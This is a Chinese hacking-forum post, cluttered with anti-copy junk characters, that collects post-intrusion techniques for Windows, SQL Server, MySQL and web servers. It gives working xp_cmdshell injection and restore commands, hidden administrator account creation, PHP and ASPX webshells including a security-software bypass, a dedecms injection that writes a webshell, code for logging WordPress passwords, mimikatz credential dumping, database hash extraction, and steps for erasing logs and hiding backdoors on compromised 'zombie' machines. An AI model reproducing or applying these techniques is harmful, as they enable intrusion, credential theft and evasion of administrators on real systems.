/ J# R8 x3 y. R0 q! O8 y1.net user administrator /passwordreq:no) h% A' D9 `5 L1 T5 V
这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了 0 P w+ S" `0 a2.比较巧妙的建克隆号的步骤2 z- @1 H: t% x4 m
先建一个user的用户! ~8 A6 X W" I9 X
然后导出注册表。然后在计算机管理里删掉 * ^: t3 _" o) L( V; h4 C4 P在导入,在添加为管理员组 9 a9 u( B1 i, U2 M6 c3.查radmin密码 % u( t( a( v- F. X/ M$ a* Wreg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg ( A! k7 U7 L9 F9 H4 B0 m- i* b4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options] : G- @6 c9 H9 e5 q2 h建立一个"services.exe"的项! U3 L- I# @. A1 ^3 E
再在其下面建立(字符串值)0 I9 D" W( C6 d1 [; n; t) `7 G' u
键值为mu ma的全路径 * z M% _: p7 X3 W5 D# A8 X3 Y5.runas /user:guest cmd4 Q/ `7 S4 Z7 c/ p2 C7 K
测试用户权限!; n; H, J0 |: s, ~: m
6.、 tlntadmn config sec = -ntlm exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'-- 其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧? & } M: S5 b) o$ \8 S5 f' ~7 g/ H7.入侵后漏洞修补、痕迹清理,后门置放:6 u+ u# O# ?) B1 x: q( E
基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门 ( e+ C' `: f) j) ~! w0 r8 F8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c , I! Y! {& v* }. K0 } " k8 a: a3 ?' N- y% s$ a' ]for example 3 d. `, I8 [. U 9 Y% G5 H+ ]) D% H! Bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'; G2 K( }9 I: R( v+ v! S
; z3 @/ e4 }) X. l% k! U7 c/ sdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add' 8 T$ Q& f; ]3 F1 @: H4 D4 ^/ h) T+ t$ }0 K) H" ^1 p
9:MSSQL SERVER 2005默认把xpcmdshell 给ON了 ) a/ E" J2 ~+ E如果要启用的话就必须把他加到高级用户模式% X& O( h/ _* ~" W9 x2 R
可以直接在注入点那里直接注入 ! r8 x% B/ |* T) x4 L9 h: {id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--- v6 |6 B5 b6 i6 g4 a8 r8 M3 X8 G
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--) g9 n% W: W+ x, V# [3 x; Z
或者: P7 l4 D' i4 S) M
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' # f" C3 F6 ^7 ]$ p" M5 D- X- Y5 Q7 u6 @来恢复cmdshell。 2 g4 g0 y: m0 t, Q- X- T+ F 4 N' G4 ]* V# x$ [, ^分析器' R6 v/ e" o: S
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--0 L) w" R+ M1 o! P& ^" P M
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")! a$ Q! [1 t' x- v" j# O
10.xp_cmdshell新的恢复办法6 Q6 L4 v. a4 F0 J
xp_cmdshell新的恢复办法 . I. F! S [/ k. N* g- I扩展储存过程被删除以后可以有很简单的办法恢复:4 P( R8 G5 d( M" M: h, t* \$ X
删除 ! W+ N, ^- d* S& x1 kdrop procedure sp_addextendedproc 6 c* [3 d( q' i% G! A- Jdrop procedure sp_oacreate ' [8 W! s' O$ _* D1 [ e* Rexec sp_dropextendedproc 'xp_cmdshell' + i: G- C$ k) k, ]4 s8 E% u# s7 K9 k0 \. X T k
恢复' |$ X: u6 f! n9 D
dbcc addextendedproc ("sp_oacreate","odsole70.dll")* D* O- I" M9 l: G
dbcc addextendedproc ("xp_cmdshell","xplog70.dll") - v! M1 I* i! Q" s( w. t 2 S( d5 l0 A+ A+ v9 B: x; X这样可以直接恢复,不用去管sp_addextendedproc是不是存在 " Y" @% Y) ~5 @! u/ S# }2 S7 n* v( p) E4 V$ e
-----------------------------' e6 p$ `) j8 P* I+ V
+ Z5 i( |# C3 Y) W
删除扩展存储过过程xp_cmdshell的语句: $ B: l) }# p& b: P% Yexec sp_dropextendedproc 'xp_cmdshell' 8 Z7 I+ x, a* E2 E; q& N: B) U% u5 k/ _7 ?5 ]$ W7 g( f" ~6 W# w
恢复cmdshell的sql语句9 f: z' ]$ F0 d3 w# ]# z! D
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' # w% s) O ^' E . [/ ~3 V/ Z8 E) j: x# E# B# C' j# I5 ?6 A5 {2 ^& H
开启cmdshell的sql语句 1 C% ~& l$ _& o: d6 z' e2 N+ N) Q * k" w8 f; t. ? Oexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' % P- ?- ] T! F. ]+ c4 e9 S8 T" G1 W) y7 d t1 z
判断存储扩展是否存在9 l' @5 P! B; u6 z
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' ! O4 l, j: q8 F6 U0 K9 u/ d; {) R4 E返回结果为1就ok9 T9 k" h' X9 l" B- N: A' Z" F" F/ q
3 B% X8 d, n6 A9 [8 ?
恢复xp_cmdshell5 P% ]: n- u+ w% h
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'' S/ d) o0 c6 x8 F; r
返回结果为1就ok , S. D9 F0 R) p' e. o2 R+ y( o) D! d1 J0 R m7 t
否则上传xplog7.0.dll9 Y/ }4 |9 l6 L+ B6 o' b8 F6 Z
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll' * n0 Y/ _# v" V" J( U6 ^. U* e% E6 `- H1 D+ r
堵上cmdshell的sql语句, m7 D* B2 K2 P1 O9 |
sp_dropextendedproc "xp_cmdshel " P3 U# ^, P: w) }! ~) t; N- l, _9 |------------------------- 3 T% z2 Q/ V: _+ H W5 G清除3389的登录记录用一条系统自带的命令:2 j; k6 {0 F0 K; V V
reg delete "hkcu\Software\Microsoft\Terminal Server Client" /f! @- {+ E( ~3 s, c% M
$ {/ b, q; U. [% O# w$ J2 w
然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件 0 {; W0 X: d8 {: R在 mysql里查看当前用户的权限! k J! }5 X6 k! {0 R4 J
show grants for 1 ]% z- t' c1 y/ E5 D
8 K* m& ]: P. `
以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。 2 S4 B0 P" s( k( ^/ r5 ~. P0 Y1 ?9 a1 X5 K' V
3 t% L+ D; }* s6 JCreate USER 'itpro'@'%' IDENTIFIED BY '123'; 5 Z( T5 E1 F8 N4 L' z / P: w# J7 i3 ^+ d9 `: EGRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION. A4 u$ F7 k+ I
% G! k1 C. _0 K
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 ( W+ I. l6 f! k4 e9 o. W, v4 ?& G' D, S
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;) Q) [2 u# e; j4 B; I6 Z
' {+ [+ m. {% F& v* i8 p
搞完事记得删除脚印哟。& k' j3 }7 M- @! j1 j# k
( j; B# ^; J- V4 T7 VDrop USER 'itpro'@'%'; 0 T) Y$ V/ @, G! t( n8 e 1 @" z8 n( U p4 m! a# UDrop DATABASE IF EXISTS `itpro` ;) [- M. ]2 g, N' c2 a
! \1 h) B5 y* K/ j
当前用户获取system权限 4 g5 b2 B' \' Isc Create SuperCMD binPath= "cmd /K start" type= own type= interact 7 J6 Z$ O7 k6 g% Q* N: g- X- _6 Usc start SuperCMD 5 P9 U6 C# y2 ~$ T$ A2 M程序代码5 K% ~& f6 b7 I# q! s5 S8 V+ z' H
<SCRIPT LANGUAGE="VBScript"> 0 r( N: n p; fset wsnetwork=CreateObject("WSCRIPT.NETWORK")4 A9 q. }. Y2 z* Y( }2 Q
os="WinNT://"&wsnetwork.ComputerName3 ~3 y) ]. K4 M
Set ob=GetObject(os) 3 M/ m& A1 [/ E9 ]! JSet oe=GetObject(os&"/Administrators,group"), X4 I' b# P; V# E( V, ]4 R
Set od=ob.Create("user","nosec") ! n( o0 x/ S1 y5 Fod.SetPassword "123456abc!@#"* Z0 b2 K, m% w& A
od.SetInfo * |% B6 o+ W8 x5 R. C- E* v1 gSet of=GetObject(os&"/nosec",user) ! B) S* c" l# goe.add os&"/nosec" # M8 S9 w2 j" l! ?8 z& g</Script>- |% B* v' E' o& ]& x. ~# W
<script language=javascript>window.close();</script>8 i d9 K, M0 z. u5 `
' f" U7 O8 S' R$ x0 `& R Z6 l1 X0 G1 C5 o. Q0 M/ A
x6 P! r, q p' V* q
+ k: p6 a. [) C突破验证码限制入后台拿shell ) @2 B1 A/ K6 w0 X. U: x* U4 k" M! ?5 ^/ M程序代码 . t5 O1 e3 t9 V$ f! o; ?REGEDIT4 $ x1 L5 k8 I8 m E
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security] $ u7 H2 y, T$ E6 ] p J
"BlockXBM"=dword:00000000 % O9 U: F8 ^0 _, C* y( t# f- K/ b
保存为code.reg,导入注册表,重器IE 3 P: L3 C6 }& A: s& q; @! D" k7 ^' S+ f就可以了2 Y% R5 g7 ?+ _
union写马 S) J/ q6 C7 e" [# g7 s程序代码 ' l9 e% V C I0 K: g# F+ }www.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/* ' [6 G: h& c; o l" N# [ % S3 C6 d, ]) k6 R/ d应用在dedecms注射漏洞上,无后台写马 ; Y8 ^7 b. k7 |2 n- ^dedecms后台,无文件管理器,没有outfile权限的时候8 |# ?$ q( Z# q" m$ Y$ e0 [% c9 [
在插件管理-病毒扫描里 , J* L2 M, I" P' v9 W7 n( y写一句话进include/config_hand.php里 # m X7 u7 m9 Z# h) [4 y) E( F! x6 x程序代码 o$ I! J- U0 o1 d
>';?><?php @eval($_POST[cmd]);?> - u0 A1 X' n4 P% A+ ` 9 D. S2 R4 b; Z: M! M. ^$ }" i# g y0 B# A) O
如上格式 & o8 S B) M$ D; d8 d $ C$ e' ?/ P- s) Moracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解 % M0 v1 k3 [% x, `程序代码 ( [; ]: _8 T5 h# p( ~; Uselect username,password from dba_users; 7 S! S5 Z G% i+ [2 H$ l 0 ~$ M4 \, r A: m& d* z& L( U& c; Q& l& ]1 o6 Z, a# h
mysql远程连接用户' ?) I- b3 R7 {) u
程序代码 ! c' {6 _4 }, K/ f# u 5 a$ A- {! j5 z, K0 D6 z* OCreate USER 'nosec'@'%' IDENTIFIED BY 'fuckme'; 8 o z! m3 X8 V0 o/ @# u2 e. D9 f2 rGRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION " u' ~! y6 v! ?* {8 R% lMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 * D) }/ A6 f+ V& G9 HMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;8 k$ m8 j/ ~! T
! b+ B+ f5 {5 X# U3 }/ ^: |) Y. R/ P( B* B
; y1 a) H* I3 X# ~1 M* ?& l3 o
4 o6 _$ ^7 |+ i+ F/ G' becho y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 " V+ s, U- l5 M6 m' v f! L# F2 B2 a/ E
1.查询终端端口$ i4 [# b) O4 L; w
4 j: L4 } O' q0 s2 [xp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber9 b4 U8 K7 P% j, Q2 R
2 c8 Y7 `4 q, R0 c/ M/ p1 I3 X P% e通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"- y$ C! ?/ W- ^/ X
type tsp.reg * x! |. u' v; T( h9 q E; b C7 ]4 ~' r3 Y- h/ D
2.开启XP&2003终端服务 6 {, M( E7 z" \: A# }3 ?9 E9 M2 d# h% g, q) p0 j4 H( ~' @6 c
/ \9 G: O4 O6 G. V, WREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f2 y. `, _% a2 N/ H
- h7 h. b# J7 O9 `程序后门代码9 V, r/ {! {3 A/ \
<?php eval_r($_POST[sb])?>3 P" O6 g" k$ `
程序代码* H) r, Z) m* d g t# @" _) r) J
<?php @eval_r($_POST[sb])?>" {0 \+ W5 G: `* W
//容错代码 6 U( p/ |* o. N- ?9 L' n程序代码 4 C) d. M. l) @- S" g! ^ \6 V/ j<?php assert($_POST[sb]);?>7 ?5 w. a) U% @! C% u" I7 s
//使用lanker一句话客户端的专家模式执行相关的php语句4 H$ a( k! I# ~" }/ ?
程序代码% ?9 t7 d9 v @! X: z& l
<?$_POST['sa']($_POST['sb']);?> H3 j$ V+ Y W
程序代码 6 x3 M( W: P# b6 n3 X6 b, }<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>+ t0 B$ H* R6 B& p! k
程序代码5 R- k+ ?) S; ]5 G0 ~5 [1 A
<?php L: @# J' |1 p. D# H
@preg_replace("/[email]/e",$_POST['h'],"error"); # f! |1 s# R/ x# k2 Y* D% y6 x?> 8 z9 A% T) a# b# I5 o0 q# n; p% }//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入 / [ i$ O1 \0 D$ n3 n" r) R程序代码 - F& y( \" S" e; M3 g<O>h=@eval_r($_POST[c]);</O> % s4 [4 k7 a, K: F6 k9 F+ s程序代码 ( y# R- J; q# ?, b! H- I A<script language="php">@eval_r($_POST[sb])</script> ; R( }) P- w# W//绕过<?限制的一句话/ n. G# t o" B o
6 G, e" f! f" Z" ` http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip9 g( k+ Q- T. {& h
详细用法:4 R" a |* f( F7 x( x
1、到tools目录。psexec \\127.0.0.1 cmd % C, m: A4 R; q* E/ g4 a2、执行mimikatz ; r/ A' V9 g& K8 T3、执行 privilege::debug( n; P, A. Y# |+ b" B
4、执行 inject::process lsass.exe sekurlsa.dll H$ p) w7 S0 o$ m
5、执行@getLogonPasswords# F8 ~0 A+ `8 x% l
6、widget就是密码$ W& S1 O7 F+ U n
7、exit退出,不要直接关闭否则系统会崩溃。 , |+ ?0 M+ d J# |5 j" M! m. I6 i& E1 i; R3 o4 q2 Q http://www.monyer.com/demo/monyerjs/ js解码网站比较全面 1 ~7 b+ P* q$ h. @. V' V9 D$ Q# X 9 c. ]7 r: D, J5 g" M3 O. G2 s自动查找系统高危补丁4 z7 p: t) U# e/ ]/ H! u3 \; l
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt5 W a& H; \ I- J4 K
% @, t E6 Q( P' w- ^
突破安全狗的一句话aspx后门" \- P0 O, K7 X3 {7 V& W
<%@ Page Language="C#" ValidateRequest="false" %>) r# [0 Z# u9 ^$ A
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%> ' e+ K7 n. g: Nwebshell下记录WordPress登陆密码! ` Y, Y! t, I
webshell下记录Wordpress登陆密码方便进一步社工 $ \- H% Y( ~3 y w9 f7 y在文件wp-login.php中539行处添加:# W- h# ~7 r- k. k8 z0 u" ]* ~: W) ~
// log password( a7 S9 Y# s3 H" g. Y% B
$log_user=$_POST['log']; 5 Y7 |" N, q2 z7 I$log_pwd=$_POST['pwd']; / O% |# ~8 l! i# {. E+ g$log_ip=$_SERVER["REMOTE_ADDR"];& S$ p! k- \ e5 S4 R
$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;) z1 F1 q: q: }; x
$txt=$txt.”\r\n”; 7 E% t) I, m+ ~% H" F3 |% Oif($log_user&&$log_pwd&&$log_ip){ 1 {' K& ^! R) C r! G@fwrite(fopen(‘pwd.txt’,”a+”),$txt); 4 Y+ K8 u) u9 R7 C: @/ D} 9 ]% L5 @3 [% l$ X$ \$ t8 m当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。 3 ~2 |, h% s7 T就是搜索case ‘login’' L, x" Q, g) b& K
在它下面直接插入即可,记录的密码生成在pwd.txt中,: F- L8 y/ g8 j. E2 L5 w
其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录 & Y) y3 r& p2 V+ R3 h/ k) v# v# |4 g利用II6文件解析漏洞绕过安全狗代码:6 L- t5 f- Q% u; U
;antian365.asp;antian365.jpg! }6 g: W2 I3 [) E1 L' _5 j
_6 Q- D0 l! e: w+ Y- t+ D各种类型数据库抓HASH破解最高权限密码! * y3 S- _" H2 }5 w0 D) y/ C7 S: D2 c1.sql server2000; E6 ]$ m, H- m) E
SELECT password from master.dbo.sysxlogins where name='sa'" x8 B: J9 g P$ y, b7 U
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341$ t. z, m+ l9 }" H6 U) `/ @
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A/ S, `' _8 F$ X& U% ]. o! ]
6 t- a- D* w J% B R8 @3 _8 d0×0100- constant header8 V, O9 u, z- q0 `
34767D5C- salt. s: C; o# M/ [! l, \# F
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash4 s) G2 {# ^- ?! g& ?9 C' c- E u
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash: n& m+ ]" ]6 l
crack the upper case hash in ‘cain and abel’ and then work the case sentive hash! Q+ [9 F1 \- l1 y! M; N
SQL server 2005:- & L" o+ }4 v) ?7 ]+ tSELECT password_hash FROM sys.sql_logins where name='sa' 0 `% S9 o! w" L6 r: N4 t7 B: q0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F ! D8 f2 p$ j2 U# J9 P, Q0 t. m$ o0×0100- constant header / N2 b! c% V5 b( c! ^993BF231-salt% x! q" N8 D8 q* z6 [% b
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash ; ]3 \8 V3 R( d( M W+ {crack case sensitive hash in cain, try brute force and dictionary based attacks.0 k( D) h. o6 l# J! r! X% B/ G
$ j5 G5 d/ f& S' ~9 D' ?8 ]! oupdate:- following bernardo’s comments:-3 ]) V" N# z9 X; w
use function fn_varbintohexstr() to cast password in a hex string. " B# H# a% G2 e+ p g# r7 Ze.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins+ x2 V4 c; ]7 Z+ T8 ~% _+ l
- s3 G' v) D i# @) o
MYSQL:-5 u7 L) M9 v6 H7 c
! V @9 T+ {' J! sIn MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.5 N, \/ C6 U( K' \
3 f4 Q8 j: A( G+ _5 x
*mysql < 4.11 h$ s) I9 k9 ?5 ^4 B
) w* |; Q8 v' }4 F6 Z sSelect user, password from mysql.user ( N9 E$ {2 O7 l5 }4 U% iThe hashes can be cracked in ‘cain and abel’ K3 |1 {7 a; N8 G8 ?5 b8 I. o t; L9 D' C1 {
Postgres:-5 s! M5 e- J6 _1 \$ O5 d- d/ M
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called “postgres” or “pgsql”) / b# F2 g+ a" S- Wselect usename, passwd from pg_shadow; " g( ]2 u0 m& ] B- Musename | passwd; Z4 i) m2 A2 m+ V: E
——————+————————————- 3 T) T, `7 G; etestuser | md5fabb6d7172aadfda4753bf0507ed4396: w( p( R: B- R: k( R3 q
use mdcrack to crack these hashes:- % V% L& l- k/ Z$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396 # \) p: p {+ W* `: m7 c& t `% f$ Q' W6 m
Oracle:-/ r- N9 X* Z7 r& U4 [
select name, password, spare4 from sys.user$6 M8 H* x& a4 {+ J. Y
hashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g 0 Z# v) }9 T# \: C% yMore on Oracle later, i am a bit bored…. ! p( n) `! K' D3 q% l: m* g5 U6 o! T) f5 {; U8 f
0 i+ o- j" k- a8 [& ^2 G/ d在sql server2005/2008中开启xp_cmdshell # l& }: C, a4 y8 G6 S-- To allow advanced options to be changed.4 q; F" Z& d# C6 Y- P/ ~
EXEC sp_configure 'show advanced options', 19 z2 ^% |4 A: G
GO& \. m" ~3 I! G. A
-- To update the currently configured value for advanced options. ) R* o7 w; _) V( ZRECONFIGURE2 P- R3 g7 B1 I6 K3 k
GO) N& K) x: b; \, m. w
-- To enable the feature. / y& F( \9 ?3 O* L. AEXEC sp_configure 'xp_cmdshell', 1! m) Z; b! ~2 \& q* h9 W7 A
GO 9 r1 ~$ i9 }/ \9 J$ j4 r* S-- To update the currently configured value for this feature.2 d, Z9 V( j: r. f+ P. Q! t r0 G
RECONFIGURE 2 E9 k- n" n; B9 B, x8 W" w, Q- _GO 0 n; `# S- o2 m8 @( _; }SQL 2008 server日志清除,在清楚前一定要备份。 1 a% `! X+ E- ?4 a3 \/ Q. S j2 L3 X如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:- b5 V {* u3 m9 W4 u
X:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin 6 s4 u. g2 r% D" A3 K & G! d6 s" z9 g! y对于SQL Server 2008以前的版本: 3 ?% R( x% C8 n. ?9 I K/ uSQL Server 2005:. ]8 n+ q! u* l' S
删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat, j1 h4 g# W4 A
SQL Server 2000: % ^5 Q* C/ k7 U `1 g4 d清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers\相应的内容即可。 5 L- H! G" ^4 z t0 m2 T" l7 A# t+ Z
本帖最后由 simeon 于 2013-1-3 09:51 编辑' j% G) h9 F5 V
. G5 V! n6 n+ }" w 1 w' E( W5 C/ g) [. V9 kwindows 2008 文件权限修改 e" a/ l1 ~0 J1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx7 K& ^/ P' y n/ Y+ _# W, A) L e/ p
2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad985 q% a3 Z( b+ f! ~
一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”, + n/ i: f# |, t a% R! f' a2 C8 @. S2 P3 L# c
Windows Registry Editor Version 5.00 9 J* G2 z6 A( }4 X7 c% O1 t* A7 p[HKEY_CLASSES_ROOT\*\shell\runas] / r1 z: y. I7 c) [3 ]@="管理员取得所有权" 6 {9 _! m" e5 x; T! A& n9 T"NoWorkingDirectory"="" , L. K; Y- e; Y1 Q[HKEY_CLASSES_ROOT\*\shell\runas\command]1 O4 J% S- o9 P4 _4 Q
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"9 c. N! ^$ |# ?# e! B; }4 }
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F": C: J8 x' ?3 a: ^
[HKEY_CLASSES_ROOT\exefile\shell\runas2] : ]. ~+ A# ], E' \9 t@="管理员取得所有权"9 u2 I8 ?* n+ c) q; V% K6 M
"NoWorkingDirectory"="" & z/ T" ]( H+ q9 p; i[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]% p T% R# r; T, l- D5 f
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"5 A5 f" k6 X; t I8 s
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"0 C0 q( j2 Z- J3 ^3 s+ c) J: g. b
) d! U( h: z u9 G$ Y
[HKEY_CLASSES_ROOT\Directory\shell\runas]: r: w7 U2 i& @5 R/ L) ^
@="管理员取得所有权" : _+ V3 y1 w% k; V+ T"NoWorkingDirectory"="" & {8 q$ n9 e. @9 t+ ?. a: K[HKEY_CLASSES_ROOT\Directory\shell\runas\command]2 e7 K& P0 z) N9 s7 u# j# L
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t" & `5 @" Y5 a5 n a"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t" 1 E4 f: g: q4 ?/ d( H' f5 Q3 L* k. Y5 e) d) O3 Q" s: s3 Q